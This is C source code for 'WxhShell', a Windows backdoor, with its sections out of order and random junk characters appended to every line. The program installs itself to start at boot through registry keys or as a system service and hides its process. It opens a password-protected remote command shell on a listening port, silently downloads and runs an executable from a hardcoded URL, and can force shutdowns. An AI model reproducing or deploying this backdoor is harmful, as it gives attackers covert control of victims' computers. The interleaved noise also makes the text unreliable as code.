  case 'd': { MRr</o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k *R<,  
    if(Boot(SHUTDOWN)) M@P 1,Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vQF vtwd  
    else { M L7 \BT  
    closesocket(wsh); &bgvy'p  
    ExitThread(0); 2 nb:)  
    } q(5j(G ;  
    break; d0hhMx6$  
    } ;v17K  
  // 获取shell Nf3.\eR  
  case 's': { d_S*#/k  
    CmdShell(wsh); ,U*)2`[  
    closesocket(wsh); 4RKW  
    ExitThread(0); UgB'[@McS  
    break; zPEg  
  } &Gm$:T'~  
  // 退出 m`4R]L]  
  case 'x': { q;5 i4|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Mh(]3\  
    CloseIt(wsh); k^$+n_  
    break; " +KJop  
    } D7]# Xk2  
  // 离开 sDgXU@  
  case 'q': { 5`~mmAUk;`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yix'rA-T  
    closesocket(wsh); kE.x+2  
    WSACleanup(); OQ :dJe6  
    exit(1); zeP}tzQO  
    break; X u"R^  
        } >}~#>Ru  
  } s57N) 0kP  
  } U,/6;}  
:J}t&t  
  // 提示信息 K\[!SXg@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [=uo1%  
} sDqe(x}a  
  } "O+5R(XT  
^n#1<K[E  
  return; GZ!| }$ 8  
} [~W`E1,  
tg4Y i|5  
// shell模块句柄 >idBS  
int CmdShell(SOCKET sock) n<Svw a}  
{ ?!w^`D0}o  
STARTUPINFO si; ,~ ?'Ef80  
ZeroMemory(&si,sizeof(si)); OYM@szM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <0|9Tn2O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CZ 2`H[8  
PROCESS_INFORMATION ProcessInfo; va/m~k|i  
char cmdline[]="cmd"; 0)YbI!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?&WYjTU]H  
  return 0; I3u{zHVwI  
} x+? 9C  
l>lW]W  
// 自身启动模式 K.tlo^#^B[  
int StartFromService(void) ||2Q~*:  
{ LCXO>MXN  
typedef struct <Y 4:'L6  
{ wYeB)1.  
  DWORD ExitStatus; MFJE6ei  
  DWORD PebBaseAddress; y$ Zj?Dd#  
  DWORD AffinityMask; !=Y;h[J.p  
  DWORD BasePriority; I^*'.z!4Q  
  ULONG UniqueProcessId; 0X..e$ '  
  ULONG InheritedFromUniqueProcessId; PDx)S7+w[  
}   PROCESS_BASIC_INFORMATION; TL= YQA  
`U!y&Q$,  
PROCNTQSIP NtQueryInformationProcess; O(2cWQ  
7k{2Upg;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QrD o|GtE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z^* '@  
qg z*'_S  
  HANDLE             hProcess; |YJCWFbs8  
  PROCESS_BASIC_INFORMATION pbi; ^jdL@#k00  
?9j{V7h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lYf+V8{  
  if(NULL == hInst ) return 0; WiNT;v[  
s}M= oe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A)n W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <x%M3BTx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xIbMs4'iEx  
Ob+9W  
  if (!NtQueryInformationProcess) return 0; KHiFJ_3  
1ZJ4*bn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %:6?Y%`*[  
  if(!hProcess) return 0; 7D"%%|: h  
,a|@d} U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ux2013C_  
=?@Q -(bp  
  CloseHandle(hProcess); 2f,B$-#  
Lrz3   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q}%tt=KD  
if(hProcess==NULL) return 0; .,2V5D-${  
 {E9v`u\  
HMODULE hMod; b=##A  
char procName[255]; >.9eBz@  
unsigned long cbNeeded; 6o3T;h  
JXQPT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #~Q=h`9  
s PYX~G&T  
  CloseHandle(hProcess); IFNWS,:  
M.%shrJ/  
if(strstr(procName,"services")) return 1; // 以服务启动 85U.wpG  
SQ(apc}N4  
  return 0; // 注册表启动 uK*|2U6t  
} x2wg^$F*oO  
=Z0t :{  
// 主模块 0LVE@qEL  
int StartWxhshell(LPSTR lpCmdLine) GKtS6$1d#  
{ 3><u*0qe%I  
  SOCKET wsl; *$,+`+  
BOOL val=TRUE; mMw;0/n  
  int port=0; E{^^^"z P  
  struct sockaddr_in door; kl7A^0Qrz  
J%v5d*$.  
  if(wscfg.ws_autoins) Install(); 4I~i)EKy6  
=V$j6  
port=atoi(lpCmdLine); /0==pLa4  
;b~~s.+  
if(port<=0) port=wscfg.ws_port; +cg {[f,J;  
b](o]O{v  
  WSADATA data; %]4-{%v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KsdG(.I+ek  
?C;JJ#Ho  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z]#hWfM4B:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n.$(}A  
  door.sin_family = AF_INET; H~9=&p[Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %`\]Y']R  
  door.sin_port = htons(port); ?ApRJm:T  
i^|@"+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |O (G nsZ  
closesocket(wsl); = HE m)  
return 1; aWvd`qA9r  
} :c4kBl%gJ  
?SX_gYe9  
  if(listen(wsl,2) == INVALID_SOCKET) { 0'yyfz  
closesocket(wsl); EF;,Gjh5p  
return 1; {+=i?  
} S<oQ}+4[~  
  Wxhshell(wsl); ,IjdO(?TC  
  WSACleanup(); < 5ZJ]W  
6E+=Xi  
return 0; 9*_uCPR  
7%CIt?Z%  
} xH$%5@~  
u%opY<h  
// 以NT服务方式启动 ,L%p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F0;1zw  
{ % 0v*n8  
DWORD   status = 0; 37>MJ  
  DWORD   specificError = 0xfffffff; lG]GlgSs  
Nmf#`+7gCI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /=M.-MU2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l<RfRqjw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~ &~C#yjg1  
  serviceStatus.dwWin32ExitCode     = 0; {HuLuP 0t  
  serviceStatus.dwServiceSpecificExitCode = 0; `@$YlFOW  
  serviceStatus.dwCheckPoint       = 0; nHU3%%%cU  
  serviceStatus.dwWaitHint       = 0; l$`G:%qHj  
r,nn~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LW?2}`+  
  if (hServiceStatusHandle==0) return; CjZ6NAHc  
jr1Se9u D  
status = GetLastError(); IMR$x(g= F  
  if (status!=NO_ERROR) &ps6s.K  
{ KgU[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g.&\6^)8p  
    serviceStatus.dwCheckPoint       = 0; Na;t#,  
    serviceStatus.dwWaitHint       = 0; ~y%7w5%Un  
    serviceStatus.dwWin32ExitCode     = status; Ap,q `S  
    serviceStatus.dwServiceSpecificExitCode = specificError; }q x(z^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bVOO)  
    return; %#Q #N,fw  
  } | VRq$^g  
#ZwY?T x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2^ kn5  
  serviceStatus.dwCheckPoint       = 0; Sl~C0eO  
  serviceStatus.dwWaitHint       = 0; %>]#vQ|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -9i+@%{/  
} Ko}7$2^  
2c*2\93>  
// 处理NT服务事件,比如:启动、停止 7x:F!0:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v_.j/2U  
{ C$0 ITw  
switch(fdwControl) y7 <(,uT  
{ LQ|<3]  
case SERVICE_CONTROL_STOP: ,DQ >&_DK  
  serviceStatus.dwWin32ExitCode = 0; '.xkn{c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $q=hcu  
  serviceStatus.dwCheckPoint   = 0; 5[hlg(eb  
  serviceStatus.dwWaitHint     = 0; 0MhxFoFO  
  { ,P1G ?,y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :4b- sg#  
  } :'TX"E!  
  return; LDSbd,GF  
case SERVICE_CONTROL_PAUSE: -kt1t@O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0honHP  
  break; p@`4 Qz  
case SERVICE_CONTROL_CONTINUE: DOA[iT";4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (jt*u (C&Y  
  break; /Ir 7 DZK  
case SERVICE_CONTROL_INTERROGATE: fG^7@J w:G  
  break; <4SF~i  
}; F\l!A'Q+t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NdaM9a#TZ  
} +# A|Zp<  
P/HHWiD`D  
// 标准应用程序主函数 "otr+.{`*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [)B@  
{ vHoT@E#}'  
</~1p~=hAt  
// 获取操作系统版本 !G@V<'F  
OsIsNt=GetOsVer(); _y.mpX&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :^C#-O  
%YsRm%q  
  // 从命令行安装 oKZ[0(4<  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6B4hSqjh  
3BuD/bs  
  // 下载执行文件 NO%|c|B|  
if(wscfg.ws_downexe) { }"!6Xm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q oKQEG2  
  WinExec(wscfg.ws_filenam,SW_HIDE); ](idf(j  
} 8kKRx   
)[F46?$vrk  
if(!OsIsNt) { \r)_-  
// 如果时win9x,隐藏进程并且设置为注册表启动 gogl[gHO  
HideProc(); !^rITiy  
StartWxhshell(lpCmdLine); jKe$&.q@  
} R A-^!4tX  
else #h}IUR  
  if(StartFromService()) >c~9wv  
  // 以服务方式启动 iGpK\oH  
  StartServiceCtrlDispatcher(DispatchTable); _CYmG"mY  
else `"-`D!U?$  
  // 普通方式启动 c9>8IW  
  StartWxhshell(lpCmdLine); _oYA;O  
KR+aY.  
return 0; bs4fyb  
} i:NJ>b  
Z)b)v  
t\E-6u  
?ZD{e|:u  
=========================================== Q7OnhGA  
Y:#kel<  
N P0Hgd  
N69eI dl  
Z:r$;`K/  
o>QFd x  
" B[2h   
rA>A=,  
#include <stdio.h> xOX*=Wv  
#include <string.h> 5r2ctde)Y  
#include <windows.h> %s&E-*X  
#include <winsock2.h> 8/kx3  
#include <winsvc.h> UH.}B3H   
#include <urlmon.h> xhp-4  
9cx!N,R t  
#pragma comment (lib, "Ws2_32.lib") av| 6r#  
#pragma comment (lib, "urlmon.lib") b*F :l#  
bo?3E +B  
#define MAX_USER   100 // 最大客户端连接数 C$Hl`>?$  
#define BUF_SOCK   200 // sock buffer +p%5/ smfs  
#define KEY_BUFF   255 // 输入 buffer (Mire%$h  
8 MACbLY  
#define REBOOT     0   // 重启 bl!f5ROS(  
#define SHUTDOWN   1   // 关机 k(vEp ]  
`mHOgS>|  
#define DEF_PORT   5000 // 监听端口 \p=W4W/  
X?k V1  
#define REG_LEN     16   // 注册表键长度 U{:(j5m  
#define SVC_LEN     80   // NT服务名长度 <^X'f  
Rs( CrB/M  
// 从dll定义API M& BM,~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Qi'WV9ke  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6XxG1]84  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GJl@ag5h]!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #Ot*jb1  
DJ2]NA$Q*  
// wxhshell配置信息 *~lgU4  
struct WSCFG { g  cK"  
  int ws_port;         // 监听端口 ^J}$y7  
  char ws_passstr[REG_LEN]; // 口令 XCi]()TZ_  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4\eX=~C>:  
  char ws_regname[REG_LEN]; // 注册表键名 lVp~oZC6[  
  char ws_svcname[REG_LEN]; // 服务名 j[=_1~u}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SYW= L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1b]PCNz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 meVVRFQ2+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GPqB\bxb'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pQ-^T.'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EwBN+v;)  
SAxa7B/U2  
}; {@F["YPxy  
`J7Lecgo  
// default Wxhshell configuration BnnUUaE  
struct WSCFG wscfg={DEF_PORT, ]ieA?:0Hi  
    "xuhuanlingzhe", _>)"+z^r  
    1, JLV}Fw  
    "Wxhshell", 1S.e5{  
    "Wxhshell", qLi1yH  
            "WxhShell Service", P)j9\ muc  
    "Wrsky Windows CmdShell Service", ;F]|HD9  
    "Please Input Your Password: ", C.e|VzQa  
  1, byj mH  
  "http://www.wrsky.com/wxhshell.exe", F@(}=w^(A  
  "Wxhshell.exe" 2WECQl=r  
    }; HF=C8ZtlL  
jl0Eg  
// 消息定义模块 hz|z&vyP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Nb9V/2c;V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]\mb6Hc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,4T$  
char *msg_ws_ext="\n\rExit."; 5!Mp#lO  
char *msg_ws_end="\n\rQuit."; y#Sw>-zRq  
char *msg_ws_boot="\n\rReboot..."; ?UhAjtYIS  
char *msg_ws_poff="\n\rShutdown..."; <UHWy&+z&  
char *msg_ws_down="\n\rSave to "; \ui~n:aWJ  
.VEfd4+ni{  
char *msg_ws_err="\n\rErr!"; it|:P  
char *msg_ws_ok="\n\rOK!"; OZ0%;Y0  
9X&qdA/q  
char ExeFile[MAX_PATH]; `xAJy5  
int nUser = 0; F*( A; N_y  
HANDLE handles[MAX_USER]; Ri6 br  
int OsIsNt; )n[Mh!mn  
./*,Thc  
SERVICE_STATUS       serviceStatus; lGBdQc]IL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y'H/ $M N  
mb`}sTU).  
// 函数声明 FT<*  
int Install(void); M~Dc5\T  
int Uninstall(void); kJpHhAn4  
int DownloadFile(char *sURL, SOCKET wsh); [>9"RzEl  
int Boot(int flag); >#n-4NZ;p9  
void HideProc(void); Kf<_A{s  
int GetOsVer(void); CIvT5^}  
int Wxhshell(SOCKET wsl); r_Yl/WW  
void TalkWithClient(void *cs); nln[V$   
int CmdShell(SOCKET sock); z :jF) N  
int StartFromService(void); OL"5A18;M  
int StartWxhshell(LPSTR lpCmdLine); rL/7wa  
oOSyOD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ddhTr i'f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N^`Efpvg  
v") W@haU  
// 数据结构和表定义 y'wW2U/ 1-  
SERVICE_TABLE_ENTRY DispatchTable[] = 3o/ a8  
{ TBfl9Q  
{wscfg.ws_svcname, NTServiceMain}, LbI])M  
{NULL, NULL} ew['9  
}; e1}0f8%  
mU>* NP(L  
// 自我安装 ]J]p:Y>NL  
int Install(void) 9Bw5 t@  
{ X^^D[U  
  char svExeFile[MAX_PATH]; r:Cid*~m  
  HKEY key; SntYi0,`  
  strcpy(svExeFile,ExeFile); [+7X&B  
&}=,8Gt1G  
// 如果是win9x系统,修改注册表设为自启动 L KR,CPz  
if(!OsIsNt) { p}X87Zq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ) hB*Hjh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >G7U7R}R  
  RegCloseKey(key); YWF<2l.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _J;a[Ky+[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q8]k]:r  
  RegCloseKey(key); 9DKB+K.1  
  return 0; kO"aE~  
    } 7^X_tQf  
  } Rx2|VD  
} " N4]e/.V  
else { <N&f >7  
th|Q NG  
// 如果是NT以上系统,安装为系统服务 LK~ 0ck7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _ RT}Ee}Y  
if (schSCManager!=0) 2 G{KpM&  
{ ?! Gt. fb  
  SC_HANDLE schService = CreateService U++UG5c  
  ( FM];+d0  
  schSCManager, aQ\O ]gCE  
  wscfg.ws_svcname, &t4(86Bmq  
  wscfg.ws_svcdisp, F4Z0g*^x  
  SERVICE_ALL_ACCESS, T+hW9pa)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5o #8DIal  
  SERVICE_AUTO_START, d a9 *>+[  
  SERVICE_ERROR_NORMAL, 8^T$6A[b  
  svExeFile, j]^]p; An  
  NULL, [%:NR  
  NULL, <'33!8 G  
  NULL, =h{2!Ah7 X  
  NULL,  1qF.0  
  NULL AQZ\Kcr  
  ); R\?!r4  
  if (schService!=0) L Jx g  
  { R)z|("%ec  
  CloseServiceHandle(schService); Wd# 6Y}:  
  CloseServiceHandle(schSCManager); oY:>pxSz<@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IK);BN2<L  
  strcat(svExeFile,wscfg.ws_svcname); kE h# 0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { In2D32"F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XMdYted  
  RegCloseKey(key); t60m:k4J  
  return 0; ]gZjV  
    } %iv'/B8  
  } G <q@K-  
  CloseServiceHandle(schSCManager); \ZB;K~BV&  
} I(4k{=\ph]  
} T}*'9TB  
I\_R& v  
return 1; 19_F\32  
} *(rE<  
[#tW$^UD  
// 自我卸载 (ym)q#^  
int Uninstall(void) "yumc5kt  
{ K^ lVng  
  HKEY key; {ig@Iy~DT  
=zKp(_[D  
if(!OsIsNt) { #*~Uu.T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $O#h4L_  
  RegDeleteValue(key,wscfg.ws_regname); {)M4h?.2  
  RegCloseKey(key); Velmq'n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '"EOLr\Z,  
  RegDeleteValue(key,wscfg.ws_regname); /zWWUl`:  
  RegCloseKey(key); h;6@-\6  
  return 0; ,\M'jV"S K  
  } gM8eO-d  
} VF-d^AGt  
} 1NTe@r!y  
else { ^iTA4 0K  
bu.36\78  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R[(,wY_1  
if (schSCManager!=0) ) E\pQ5&  
{ ATU@5,9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eIO}/npT]Q  
  if (schService!=0) qhtc?A/0}  
  { ;WhB2/5v  
  if(DeleteService(schService)!=0) { v#6.VUAw  
  CloseServiceHandle(schService); Qmrcng}P  
  CloseServiceHandle(schSCManager); >@X=E3  
  return 0; VlEkT9^:  
  } YW5E |z  
  CloseServiceHandle(schService); Wwz>tE  
  } H`P )  
  CloseServiceHandle(schSCManager); Kk,->q<1  
} -'nx7wnj2  
} #O~Y[''C5X  
p#&6Ed*V  
return 1; oTL "]3`'  
} .cb mCFXL  
LV[4zo]=  
// 从指定url下载文件 ^ey\ c1K  
int DownloadFile(char *sURL, SOCKET wsh) Hq~ 2,#Ue  
{ @.0,k a,X  
  HRESULT hr; eZv0"FK X  
char seps[]= "/"; ] !H<vR$8  
char *token; rEViw?^KT  
char *file; BK +JHT  
char myURL[MAX_PATH]; &qr7yyY  
char myFILE[MAX_PATH]; 8177x7UG2[  
L]V K9qB  
strcpy(myURL,sURL); 6?~pWZ&k_  
  token=strtok(myURL,seps); PyoLk  
  while(token!=NULL) ~UnfS};U  
  { 1 ID! rxE  
    file=token; H$;\TG@,  
  token=strtok(NULL,seps); q"Xls(  
  } /; _"A)0  
QEVjXJOt0  
GetCurrentDirectory(MAX_PATH,myFILE); njIvVs`q  
strcat(myFILE, "\\"); *D'V W{  
strcat(myFILE, file); N&n{R8=^"  
  send(wsh,myFILE,strlen(myFILE),0); @.5Ybgn  
send(wsh,"...",3,0); >ko;CQR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7yc:=^ )  
  if(hr==S_OK) b"gYNGgX  
return 0; *f[`Yv  
else JmBYD[h,  
return 1; Cr&ua|%F  
1?*vqdt  
} G6 GXC`^+  
U3Q'ZT  
// 系统电源模块 .`iq+i~  
int Boot(int flag) l})uYae/  
{ ^^[,aBu  
  HANDLE hToken; M,9WF)p)V  
  TOKEN_PRIVILEGES tkp; 9uq| VU5  
X@cV']#V  
  if(OsIsNt) {  Op|Be  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )FB)ZK;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rF5<x3  
    tkp.PrivilegeCount = 1; mr;WxxO5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $Fo ,$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O`2%@%?I  
if(flag==REBOOT) { Ah"Rx A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K<t(HK#[  
  return 0; 9/'j<v6M  
} wU=(_S,c  
else { TEYbB=.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :O{:;X)  
  return 0; # ><.zZ  
} gK PV*  
  } lr|-_snx2  
  else { { u;ntDr  
if(flag==REBOOT) { >s{[d$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0/%zXp&m  
  return 0; Z8:iaP)  
} FY VcL*  
else { -j(/5.a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) . E.OBn  
  return 0; O[ N{&\$  
} "c}b qoN  
} 3Y=S^*ztd  
aC:rrS  
return 1; `T mIrc  
} \h"s[G zq  
rVz#;d!`z  
// win9x进程隐藏模块 W}EO]A%f.\  
void HideProc(void) <|.M]]}j  
{ BtjsN22  
&)wQ|{P~k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); upX/fL c  
  if ( hKernel != NULL ) 4u /?..L.  
  { `a<G7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8sL7p4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pa.W-qyu  
    FreeLibrary(hKernel); &"d4J?io`  
  } /  ]I]  
r*kk/ $,2  
return; HC$_p,9OV  
} MRiETd"  
XX/cJp  
// 获取操作系统版本 6-<r@{m$  
int GetOsVer(void) 7=JiL=  
{ Ble <n6  
  OSVERSIONINFO winfo; ^*Ca+22xO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ptUnV3h  
  GetVersionEx(&winfo); Qs~;?BH&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P$q IB[Xi  
  return 1; Um*{~=;u  
  else ^d!-IL_  
  return 0; l_$~~z ~  
} MF=@PE][  
96 C|R  
// 客户端句柄模块 l'$AmuGj  
int Wxhshell(SOCKET wsl) V-t!  
{ +]B^*99  
  SOCKET wsh; )82x)c<e  
  struct sockaddr_in client; R_(A&,  
  DWORD myID; =7Nm= 5@  
pnVtjWrbG  
  while(nUser<MAX_USER) j_Dx4*v g  
{ "bRck88V  
  int nSize=sizeof(client); J#bEAK^L,l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b PiJCX0d  
  if(wsh==INVALID_SOCKET) return 1; I2D<~xP~2+  
Z~$fTW6g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E@t^IGD r  
if(handles[nUser]==0) e PlEd'Z  
  closesocket(wsh); +|\dVe.  
else N!$y`nwiw'  
  nUser++; sexnO^s  
  } /G\-v2iD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }9{6{TD  
pbAQf3  
  return 0; wB "&K;t  
} K+PzTGWq^  
f |aO9w   
// 关闭 socket YI&7s_% -  
void CloseIt(SOCKET wsh) ~E#>2Mh  
{ X+Xjf(  
closesocket(wsh); <?QY\wyikz  
nUser--; 0l{').!_  
ExitThread(0); ^D"}OQoh  
} )k=8.j4  
%0. o(U  
// 客户端请求句柄 miEfxim  
void TalkWithClient(void *cs) OP%h`  
{ A'p"FYlCW  
1z0&+C3z  
  SOCKET wsh=(SOCKET)cs; {WT"\Xj>B?  
  char pwd[SVC_LEN]; 7[^:[OEE  
  char cmd[KEY_BUFF]; PUF"^9v  
char chr[1]; ^pAqe8u_  
int i,j; j=M_>  
K4snp u hC  
  while (nUser < MAX_USER) { \snbU'lfP  
>O|hN`  
if(wscfg.ws_passstr) { 3Ud&B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {b8!YbG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !G Z2|~f9  
  //ZeroMemory(pwd,KEY_BUFF); tihb38gE  
      i=0; y2o?a6`  
  while(i<SVC_LEN) { }|&M@Up  
6t<~. 2'  
  // 设置超时 ycIT=AFYqd  
  fd_set FdRead; ]Y}faW(&Y  
  struct timeval TimeOut; "-90:"W  
  FD_ZERO(&FdRead); uFW4A  
  FD_SET(wsh,&FdRead); (/Hq8o-Fw  
  TimeOut.tv_sec=8; <~<I K=n  
  TimeOut.tv_usec=0; lTDF5.aE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g=:%j5?.e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L5]*ZCDv  
Lb{~a_c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9v_gR52vh  
  pwd=chr[0]; Z#3wMK~  
  if(chr[0]==0xd || chr[0]==0xa) { DbH{; Fb  
  pwd=0; 3T|:1Nw  
  break; XGk8Ki3w  
  } ) Tpc8Hr  
  i++; vFV->/u  
    } N|WnUlf]:  
n)8bkcZCp+  
  // 如果是非法用户,关闭 socket $Vlfg51ob  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^-f5;B`\i  
} [yf2_{*0T  
|bVNlL"xN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); na?jCq9C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f)vD2_E  
b^;19]/RW  
while(1) { q;}^Jpb;  
-$.$6"]  
  ZeroMemory(cmd,KEY_BUFF); 6Bo~7gnc  
0/#XUX 4  
      // 自动支持客户端 telnet标准   ZL+{?1&-  
  j=0; gOx4qxy/m|  
  while(j<KEY_BUFF) { LrsP4G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z=L' [6  
  cmd[j]=chr[0]; :2 n5;fp  
  if(chr[0]==0xa || chr[0]==0xd) { _r+9S.z  
  cmd[j]=0; Go^W\y   
  break;  i('z~  
  } yaa+j8s]  
  j++; |U8;25Y  
    } "a?k #!E  
>hRYsWbmg  
  // 下载文件 aL-V9y  
  if(strstr(cmd,"http://")) { s^AQJ{X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wpb6F '  
  if(DownloadFile(cmd,wsh)) :{E3H3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \I/l6H>o3  
  else ]zhFFq`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L&Qdb xn  
  } F'C]OMBE  
  else { $ *MjNj2  
V}'|a<8kVv  
    switch(cmd[0]) { c5mv4 MC  
